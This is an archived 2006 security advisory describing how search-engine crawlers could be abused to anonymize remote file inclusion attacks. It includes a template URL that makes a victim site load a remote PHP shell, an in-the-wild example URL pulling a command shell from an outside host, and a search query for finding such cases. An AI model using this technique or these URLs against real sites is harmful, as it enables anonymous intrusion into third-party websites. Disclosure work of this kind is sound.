what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

googleInclusion.txt

googleInclusion.txt
Posted Nov 27, 2006
Authored by Noam Rathaus

The Google Crawler could be leveraged as an anonymizer for launching remote file inclusion attacks.

tags | advisory, remote, file inclusion
SHA-256 | 1d9ac034caee1ce402b242faeef52d03b033b705d33d2a8ceee4d07f61800070

googleInclusion.txt

Change Mirror Download
Noam Rathaus on using Google to anonymize attacks on websites:
http://blogs.securiteam.com/index.php/archives/746

Anonymizing RFI Attacks Through Google
noam - November 23, 2006 on 12:03 pm

Google can be utilized to hack into websites - actively exploiting them
(not information gathering by the use of "Google hacking", although that
is how most of the sites vulnerable to RFI attacks are found).

By placing a URL on any web page, Google will find it, visit it and then
index it. With this mechanism, it is possible to anonymize attacks on
third party web sites through Google by the use of its crawler.

PoC -
A malicious web page is constructed by an attacker, containing a URL built
like so:
1. Third party site URI to attack.
2. File inclusion exploit.
3. Second URI containing a malicious PHP shell.

Example URL:
http://victim-site/RFI-exploit?http://URI-with-malicious-code.php

Google will harvest this URL, visit the site using its crawler and index
it.
Meaning accessing the target site with the URL it was provided and
exploiting it unwittingly for whoever planted it. It's a feature, not a
bug.

This is currently exploited in the wild. For example, try searching Google
for:
inurl:cmd.gif

And note, as an example:
www.toomuchcookies.net/index.php?s=http:/%20/xpl.netmisphere2.com/CMD.gif?cmd
Which is no longer vulnerable.

Why use a botnet when one can abuse the Google crawler, which is allowed
on most web sites?

Notes:
1. This attack was verified on Google, but there is no reason why it
should not work with other search engines, web crawlers and web spiders.
2. File inclusions seem to tie in well with this attack anonymizer, but
there is no reason why others attack types can?t be used in a similar
fashion.
3. The feature might also be used to anonymize communication, as a covert
channel.

Noam Rathaus.
(with thanks to Gadi Evron and Lev Toger)

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close